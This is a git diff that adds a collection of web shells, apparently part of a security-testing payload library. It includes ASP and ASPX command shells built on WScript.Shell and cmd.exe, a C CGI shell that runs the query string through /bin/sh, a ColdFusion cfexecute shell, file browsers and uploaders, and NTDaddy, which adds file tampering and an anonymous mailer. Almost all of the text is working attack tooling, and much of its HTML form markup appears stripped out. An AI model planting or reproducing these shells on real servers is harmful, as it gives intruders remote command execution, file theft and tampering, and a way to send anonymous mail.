diff --git a/fuzzdb-webshell/asp/cmd-asp-5.1.asp b/fuzzdb-webshell/asp/cmd-asp-5.1.asp new file mode 100644 index 0000000..c4b93db --- /dev/null +++ b/fuzzdb-webshell/asp/cmd-asp-5.1.asp @@ -0,0 +1,41 @@ +<% + +' ASP Cmd Shell On IIS 5.1 +' brett.moore_at_security-assessment.com +' http://seclists.org/bugtraq/2006/Dec/0226.html + + +Dim oS,oSNet,oFSys, oF,szCMD, szTF +On Error Resume Next +Set oS = Server.CreateObject("WSCRIPT.SHELL") +Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFSys = Server.CreateObject("Scripting.FileSystemObject") +szCMD = Request.Form("C") +If (szCMD <> "") Then + szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName() + ' Here we do the command + Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF & +"""",0,True) + response.write szTF + ' Change perms + Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G +everyone:F",0,True) + Set oF = oFSys.OpenTextFile(szTF,1,False,0) +End If +%> +
" method="POST"> + +
+Machine: <%=oSNet.ComputerName%>
+Username: <%=oSNet.UserName%>
+<% +If (IsObject(oF)) Then + On Error Resume Next + Response.Write Server.HTMLEncode(oF.ReadAll) + oF.Close + Call oS.Run("win.com cmd.exe /c del "& szTF,0,True) +End If + +%> + + diff --git a/fuzzdb-webshell/asp/cmd.asp b/fuzzdb-webshell/asp/cmd.asp new file mode 100644 index 0000000..e2e20d8 --- /dev/null +++ b/fuzzdb-webshell/asp/cmd.asp @@ -0,0 +1,47 @@ + + +<% +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + +szCMD = request("cmd") + +If (szCMD <> "") Then + szTempFile = "C:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + End If +%> + + + +
+ + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+
+<% + If (IsObject(oFile)) Then + On Error Resume Next + Response.Write Server.HTMLEncode(oFile.ReadAll) + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If +%> + + + + + diff --git a/fuzzdb-webshell/asp/cmd.aspx b/fuzzdb-webshell/asp/cmd.aspx new file mode 100644 index 0000000..8ba0db8 --- /dev/null +++ b/fuzzdb-webshell/asp/cmd.aspx @@ -0,0 +1,37 @@ +<%@ Page Language="VB" Debug="true" %> +<%@ import Namespace="system.IO" %> +<%@ import Namespace="System.Diagnostics" %> + + + + + +
+

Program +c:\windows\system32\cmd.exe +

Arguments +/c net user +

+

+

+ + \ No newline at end of file diff --git a/fuzzdb-webshell/asp/cmdasp.asp b/fuzzdb-webshell/asp/cmdasp.asp new file mode 100644 index 0000000..31ba9a5 --- /dev/null +++ b/fuzzdb-webshell/asp/cmdasp.asp @@ -0,0 +1,55 @@ +<%@ Language=VBScript %> +<% + ' --------------------o0o-------------------- + ' File: CmdAsp.asp + ' Author: Maceo + ' Release: 2000-12-01 + ' OS: Windows 2000, 4.0 NT + ' ------------------------------------------- + + Dim oScript + Dim oScriptNet + Dim oFileSys, oFile + Dim szCMD, szTempFile + + On Error Resume Next + + ' -- create the COM objects that we will be using -- ' + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + + ' -- check for a command that we have posted -- ' + szCMD = Request.Form(".CMD") + If (szCMD <> "") Then + + ' -- Use a poor man's pipe ... a temp file -- ' + szTempFile = "C:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + + End If + +%> + + +
" method="POST"> + + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+
+<% + If (IsObject(oFile)) Then + ' -- Read the output from our command and remove the temp file -- ' + On Error Resume Next + Response.Write Server.HTMLEncode(oFile.ReadAll) + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If +%> + + + + diff --git a/fuzzdb-webshell/asp/cmdasp.aspx b/fuzzdb-webshell/asp/cmdasp.aspx new file mode 100644 index 0000000..b420c87 --- /dev/null +++ b/fuzzdb-webshell/asp/cmdasp.aspx @@ -0,0 +1,42 @@ +<%@ Page Language="C#" Debug="true" Trace="false" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + + + +awen asp.net webshell + + +
+ + +Command: +
+ + + + + diff --git a/fuzzdb-webshell/asp/list.asp b/fuzzdb-webshell/asp/list.asp new file mode 100644 index 0000000..c131a31 --- /dev/null +++ b/fuzzdb-webshell/asp/list.asp @@ -0,0 +1,79 @@ + + + + + +<% + +file=request("file") +tipo=request("type") + +If file="" then + file="c:\" + tipo="1" +End If + +%> + + +
+ + + +
+ + +<% + +If tipo="1" then + Response.Write("

PATH: " & file & "

") + ListFolder(file) +End If + +If tipo="2" then + Response.Write("

FILE: " & file & "

") + + Set oStr = server.CreateObject("Scripting.FileSystemObject") + Set oFich = oStr.OpenTextFile(file, 1) + + Response.Write("
--
") + + Response.Write(oFich.ReadAll) + + Response.Write("
--
") + +End If +%> + +<% + +sub ListFolder(path) + + set fs = CreateObject("Scripting.FileSystemObject") + set folder = fs.GetFolder(path) + + Response.Write("
( ) " & ".." & "" & vbCrLf) + + for each item in folder.SubFolders + Response.Write("
( ) " & item.Name & "" & vbCrLf) + next + + for each item in folder.Files + Response.Write("
  • " & item.Name & " - " & item.Size & " bytes, " & "
  • " & vbCrLf) + next + +end sub + +%> + + + diff --git a/fuzzdb-webshell/asp/list.txt b/fuzzdb-webshell/asp/list.txt new file mode 100644 index 0000000..c131a31 --- /dev/null +++ b/fuzzdb-webshell/asp/list.txt @@ -0,0 +1,79 @@ + + + + + +<% + +file=request("file") +tipo=request("type") + +If file="" then + file="c:\" + tipo="1" +End If + +%> + + +
    + + + +
    + + +<% + +If tipo="1" then + Response.Write("

    PATH: " & file & "

    ") + ListFolder(file) +End If + +If tipo="2" then + Response.Write("

    FILE: " & file & "

    ") + + Set oStr = server.CreateObject("Scripting.FileSystemObject") + Set oFich = oStr.OpenTextFile(file, 1) + + Response.Write("
    --
    ") + + Response.Write(oFich.ReadAll) + + Response.Write("
    --
    ") + +End If +%> + +<% + +sub ListFolder(path) + + set fs = CreateObject("Scripting.FileSystemObject") + set folder = fs.GetFolder(path) + + Response.Write("
    ( ) " & ".." & "" & vbCrLf) + + for each item in folder.SubFolders + Response.Write("
    ( ) " & item.Name & "" & vbCrLf) + next + + for each item in folder.Files + Response.Write("
  • " & item.Name & " - " & item.Size & " bytes, " & "
  • " & vbCrLf) + next + +end sub + +%> + + + diff --git a/fuzzdb-webshell/asp/ntdaddy.asp b/fuzzdb-webshell/asp/ntdaddy.asp new file mode 100644 index 0000000..8e4ee86 --- /dev/null +++ b/fuzzdb-webshell/asp/ntdaddy.asp @@ -0,0 +1,1013 @@ + +<%@ Language=VBScript %> +<%Dim oScript +Dim oScriptNet +Dim oFileSys, oFile +Dim szCMD, szTempFile +On Error Resume Next +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +szCMD = Request.Form(".CMD") +If (szCMD <> "") Then +szTempFile = "C:\" & oFileSys.GetTempName( ) +Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) +Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) +End If%> +<% if request.form("flag")=""then %> + + +|[NTDaddy v1.9 - obzerve | fux0r inc.] +<% +'Commands +dim fs,f +dim FilePath,FolderPath,FileTo,Cmd +dim selFolder,FolderTo +dim Tempmsg +dim TempAtt +dim TextOutput,TextWrite,TextFile,lblioMode,lblFormat,TextCreateFormat +Const ForReading = 1, ForWriting = 2, ForAppending = 3 +Set fs = CreateObject("Scripting.FileSystemObject") +FilePath=Request.Form("FileName") +FolderPath=Request.Form("FolderPath") +selFolder=Request.Form("FolderName") +FolderTo=Request.form("CopyFolderTo") +FileTo=Request.Form("CopyFileTo") +Cmd=Request.Form("cmdOption") +TextCmd=Request.form("cmdtxtFileOption") +Select case Cmd +case "DeleteFile" +fs.deletefile FilePath,TRUE +response.write("File: " & FilePath & " has been deleted.") +case "DeleteFolder" +fs.deletefolder selFolder,TRUE +response.write("Folder: " & selFolder & " has been deleted.") +FolderPath=Request.form("RefreshFolderPath") +case "CopyFile" +fs.CopyFile FilePath,FileTo, TRUE +response.write("File: " & FilePath & " has been copied to " & FileTo & ".") +case "CopyFolder" +fs.CopyFolder selFolder,FolderTo, TRUE +response.write("Folder: " & selFolder & " has been copied to " & FolderTo & ".") +case "SetFileAttributes" +on error resume next +if FilePath <> "" then +Set f = fs.GetFile(FilePath) +select case f.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f.attributes +end select +end if +response.write("
    ") +response.write("") +response.write("") +response.write("
    ") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
    Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
    File Name: " & f.name & "
    Set New Attributes:
    ") +response.write("Normal") +response.write("
    Read Only") +response.write("
    Hidden") +response.write("
    System") +response.write("
    Volume") +response.write("
    Directory") +response.write("
    Archive") +response.write("
    Alias") +response.write("
    Compressed") +response.write("
    ") +response.write("
    Type of File: " & f.type & "
    Location: " & f.path) +response.write("
    Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
    Created: ----") +else +response.write("
    Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
    Modified: ----") +else +response.write("
    Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
    Accessed: ----
    Attributes: " & FileAttributes & "
    ") +case "SetFolderAttributes" +on error resume next +FolderPath=Request.form("RefreshFolderPath") +if selFolder <> "" then +Set f = fs.Getfolder(selFolder) +select case f.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +end if +response.write("
    ") +response.write("") +response.write("") +response.write("
    ") +response.write("") +response.write("") +response.write("") +response.write("") +if f.DateCreated = "" then +response.write("") +else +response.write("
    Accessed: " & f.DateLastModified & "") +end if +response.write("") +response.write("
    Folder Name: " & f.name & "
    Set New Attributes:
    ") +response.write("Normal") +response.write("
    Read Only") +response.write("
    Hidden") +response.write("
    System") +response.write("
    Volume") +response.write("
    Directory") +response.write("
    Archive") +response.write("
    Alias") +response.write("
    Compressed") +response.write("
    ") +response.write("
    Type of Folder: " & f.type & "
    Location: " & f.path) +response.write("
    Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
    Created: ----") +else +response.write("
    Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
    Modified: ----") +else +response.write("
    Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
    Accessed: ----
    Attributes: " & FolderAttributes & "
    ") +case "OpenTextFile" +If FilePath <> "" then +lblioMode=Request.form("optiomode") +lblFormat=request.form("optformat") +set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat) +TextOutput = TextFile.ReadAll +'TextOutput="" +'Do While TextFile.AtEndOfStream <> True +' TextOutput = TextOutput & TextFile.ReadLine +'Loop +TextFile.close +else +FilePath = FolderPath +end if +response.write("
    ") +response.write("
    ") +response.write("") +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write("

    ") +case "ApplyFileAttributes" +TempAtt=int(Request.form("FileAttribute1")) +TempAtt=TempAtt + int(Request.form("FileAttribute2")) +TempAtt=TempAtt + int(Request.form("FileAttribute3")) +TempAtt=TempAtt + int(Request.form("FileAttribute4")) +TempAtt=TempAtt + int(Request.form("FileAttribute5")) +TempAtt=TempAtt + int(Request.form("FileAttribute6")) +TempAtt=TempAtt + int(Request.form("FileAttribute7")) +TempAtt=TempAtt + int(Request.form("FileAttribute8")) +TempAtt=TempAtt + int(Request.form("FileAttribute9")) +Set f = fs.GetFile(FilePath) +f.attributes=int(TempAtt) +response.write("File: " & FilePath & " attributes have been changed.") +case "ApplyFolderAttributes" +FolderPath=Request.form("RefreshFolderPath") +TempAtt=int(Request.form("FolderAttribute1")) +TempAtt=TempAtt + int(Request.form("FolderAttribute2")) +TempAtt=TempAtt + int(Request.form("FolderAttribute3")) +TempAtt=TempAtt + int(Request.form("FolderAttribute4")) +TempAtt=TempAtt + int(Request.form("FolderAttribute5")) +TempAtt=TempAtt + int(Request.form("FolderAttribute6")) +TempAtt=TempAtt + int(Request.form("FolderAttribute7")) +TempAtt=TempAtt + int(Request.form("FolderAttribute8")) +TempAtt=TempAtt + int(Request.form("FolderAttribute9")) +Set f = fs.Getfolder(selFolder) +f.attributes=int(TempAtt) +response.write("Folder: " & selFolder & " attributes have been changed.") +end select +Select Case TextCmd +case "SaveAs" +TextWrite = Request.form("txtFile") +TextCreateFormat = Request.form("optUnicode") +if textcreateformat = "TRUE" then +tempmsg="Unicode" +else +tempmsg="ASCII" +end if +Set TextFile = fs.CreateTextFile(FilePath, True,TextCreateFormat) +TextFile.Write TextWrite +TextFile.Close +response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.") +end select +%> +<% +Public CurrentPath +Function ShowDriveLetters() +on error resume next +Dim fs, d, dc, t +dim isReadyColor,TempSize,ShowDriveInfo +Set fs = CreateObject("Scripting.FileSystemObject") +Set dc = fs.Drives +ShowDriveInfo=Request.Form("chkShowDriveInfo") +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +end if +response.write("") +For Each d in dc +Select Case d.DriveType +Case 0: t = "Unknown" +Case 1: t = "Removable" +Case 2: t = "Fixed" +Case 3: t = "Network" +Case 4: t = "CD-ROM" +Case 5: t = "RAM Disk" +End Select +if showdriveinfo="TRUE" then +if d.isReady then +response.write("") +else +response.write("") +end if +if d.filesystem = "" then +response.write("") +else +response.write("") +end if +if d.SerialNumber = "" then +response.write("") +else +response.write("") +end if +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +if d.volumename="" then +response.write("") +else +response.write("") +end if +if d.sharename="" then +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +freespace = (d.AvailableSpace / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +totalspace = (d.TotalSize / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +end if +Next +response.write("") +response.write("
    Show Drive Info
    File SystemSerial #
    Show Drive Info
    TypeDriveVolume NameShare NameFree SpaceTotal Size
    ...." & d.filesystem & "...." & d.SerialNumber & "
    " & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
    ") +response.write("

    ") +End Function +Function ShowFolderNames() +on error resume next +Dim fs, f, f1, s, sf ,FP +dim ShowFolderInfo,FolderAttributes +ShowFolderInfo=request.form("chkShowFolderInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set sf = f.SubFolders +response.write("
    ") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in sf +if showfolderinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +folderattributes="...." +select case f1.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +else +response.write("") +end if +Next +response.write("
    Show Folder Info

    to
    ") +if showfolderinfo="TRUE" then +response.write("
    FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
    " & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
    ") +response.write("
    ") +End Function +Function ShowFileNames() +on error resume next +Dim fs, f, f1, fc, FP +dim ShowFileInfo,FileAttributes,ShowPrefix +ShowPrefix=request.form("txtShowPrefix") +ShowFileInfo=Request.form("chkShowFileInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set fc = f.Files +response.write("
    ") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +if showfileinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in fc +if showfileinfo="TRUE" then +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +response.write("") +response.write("") +response.write("") +select case f1.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +end if +else +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +end if +end if +Next +response.write("
    Show File Info &
    Show Only:
    to
    ") +response.write("
    FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
    " & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
    " & f1.name & "
    ") +response.write("
    ") +End Function +%> + + + +
    +NTDaddy | fux0r inc. +
    + + + + +
    " & FP) +%> +
    + + + + + + +
    <% =ShowDriveLetters() %>
    <% =ShowFolderNames() %><% =ShowFileNames() %>
    +


    + + + + + + + + + +
    +• Remote Info. + +• Local Info. +
    +
    +User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
    +ID: <%=request.servervariables("SERVER_NAME")%>
    +IP: <%=request.servervariables("LOCAL_ADDR")%>
    +HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
    +Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
    +LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
    +Date: <% =date() %>
    +Time: <%=time() %>
    +HTTPs: <%=request.servervariables("HTTPS")%> +
    +
    +Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>
    +Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
    +Via: <%=request.servervariables("HTTP_VIA")%>
    +User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
    +Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
    +Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
    +Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>
    +Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>
    +Method: <%=request.servervariables("REQUEST_METHOD")%> +
    +
    +
    +
    + + + + + + + + + + + + + +
    +• File Upload Utility
    +
    +File :
    + +
    +• RAW D.O.S. COMMAND INTERFACE
    +
    " method="POST"> +

    +
    +
    +<%
    +If  (IsObject(oFile))  Then
    +On  Error  Resume  Next
    +Response.Write  Server.HTMLEncode(oFile.ReadAll)
    +oFile.Close
    +Call  oFileSys.DeleteFile(szTempFile,  True)
    +End  If%>
    +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + +
    • Anonymous Email Utility
    From:
    To:
    Subject:
    Body:
    + +
    +
    +
    +
    •[ NTDaddy v1.9 ][ by obzerve ][ for the brothers of fux0r inc. 2k+1 ]•
    + + + + +<% +If Request.ServerVariables("REQUEST_METHOD") = "POST" Then +Set Fields = GetUpload() +FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName +Fields("File1").Value.SaveAs FilePath +End If +%> +<% +Else +Dim anonFrom,anonTo,anonSubj,anonBody +anonFrom = request.form("From") +anonTo = request.form("To") +anonSubj = request.form("Subject") +anonBody = request.form("Body") +Set objMail = CreateObject("CDONTS.NewMail") +objMail.From=anonFrom +objMail.To=anonTo +objMail.Subject=anonSubj +objMail.Body=anonBody +intReturn=objMail.Send() +%> + +|[NTDaddy v1.9 | anon email] +

    Message sent successfully!




    + + + + + +
    + +

    [NTDaddy v1.9 - obzerve | fux0r inc.]

    + +<% +End if +%> + + + diff --git a/fuzzdb-webshell/asp/up.asp b/fuzzdb-webshell/asp/up.asp new file mode 100644 index 0000000..a05a7bc --- /dev/null +++ b/fuzzdb-webshell/asp/up.asp @@ -0,0 +1,137 @@ + + +<% + +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + +%> + +<% +Response.Buffer = true +Function BuildUpload(RequestBin) + 'Get the boundary + PosBeg = 1 + PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(13))) + boundary = MidB(RequestBin,PosBeg,PosEnd-PosBeg) + boundaryPos = InstrB(1,RequestBin,boundary) + 'Get all data inside the boundaries + Do until (boundaryPos=InstrB(RequestBin,boundary & getByteString("--"))) + 'Members variable of objects are put in a dictionary object + Dim UploadControl + Set UploadControl = CreateObject("Scripting.Dictionary") + 'Get an object name + Pos = InstrB(BoundaryPos,RequestBin,getByteString("Content-Disposition")) + Pos = InstrB(Pos,RequestBin,getByteString("name=")) + PosBeg = Pos+6 + PosEnd = InstrB(PosBeg,RequestBin,getByteString(chr(34))) + Name = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg)) + PosFile = InstrB(BoundaryPos,RequestBin,getByteString("filename=")) + PosBound = InstrB(PosEnd,RequestBin,boundary) + 'Test if object is of file type + If PosFile<>0 AND (PosFile + +<% +Function getByteString(StringStr) + For i = 1 to Len(StringStr) + char = Mid(StringStr,i,1) + getByteString = getByteString & chrB(AscB(char)) + Next +End Function +%> + +<% +Function getString(StringBin) + getString ="" + For intCount = 1 to LenB(StringBin) + getString = getString & chr(AscB(MidB(StringBin,intCount,1))) + Next +End Function +%> + +<% +If request("ok")="1" then + Response.Clear + byteCount = Request.TotalBytes + + RequestBin = Request.BinaryRead(byteCount) + + Set UploadRequest = CreateObject("Scripting.Dictionary") + + BuildUpload(RequestBin) + + If UploadRequest.Item("fichero").Item("Value") <> "" Then + + contentType = UploadRequest.Item("fichero").Item("ContentType") + filepathname = UploadRequest.Item("fichero").Item("FileName") + filename = Right(filepathname,Len(filepathname)-InstrRev(filepathname,"\")) + value = UploadRequest.Item("fichero").Item("Value") + + path = UploadRequest.Item("path").Item("Value") + + filename = path & filename + + Set MyFileObject = Server.CreateObject("Scripting.FileSystemObject") + Set objFile = MyFileObject.CreateTextFile(filename) + + For i = 1 to LenB(value) + objFile.Write chr(AscB(MidB(value,i,1))) + Next + objFile.Close + Set objFile = Nothing + Set MyFileObject = Nothing + End If + Set UploadRequest = Nothing +End If +%> + + + + + + +
    Target PATH:
    + +
    +<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    +
    +File: <%=filename%> + + diff --git a/fuzzdb-webshell/c/cmd.c b/fuzzdb-webshell/c/cmd.c new file mode 100644 index 0000000..40eeecc --- /dev/null +++ b/fuzzdb-webshell/c/cmd.c @@ -0,0 +1,74 @@ +// +// cmdcgi.exe 0.1 darkraver (12/05/2005) +// + +#include + + +char *uri_decode(char *uri) { + int i=0; + int ptr=0; + char *command; + char hexa[3]; + char code; + + command=(char *)malloc(strlen(uri)); + + for(i=0;i\n"); + + cmd=(char *)getenv("QUERY_STRING"); + + if(!cmd || strlen(cmd)==0) { + printf("

    "); + printf(""); + printf(""); + printf("


    "); + } else { + //printf("QUERY_STRING: %s\n", cmd); + cmd+=4; + cmd=uri_decode(cmd); + printf("

    COMMAND: %s


    \n", cmd);
    +    fflush(stdout);
    +    execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
    +    }
    +
    +}
    +
    +
    +
    +
    diff --git a/fuzzdb-webshell/cfm/cfExec.cfm b/fuzzdb-webshell/cfm/cfExec.cfm
    new file mode 100644
    index 0000000..4d19781
    --- /dev/null
    +++ b/fuzzdb-webshell/cfm/cfExec.cfm
    @@ -0,0 +1,77 @@
    +
    +
    +
    +
    +
    +Notes:
    +
      +
    • For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is
      +
    • For Windows options are the command you want to run "dir" "type" etc +
    +

    + + + + + + + +
    Command:value="#form.cmd#">
    Options: value="#form.opts#">
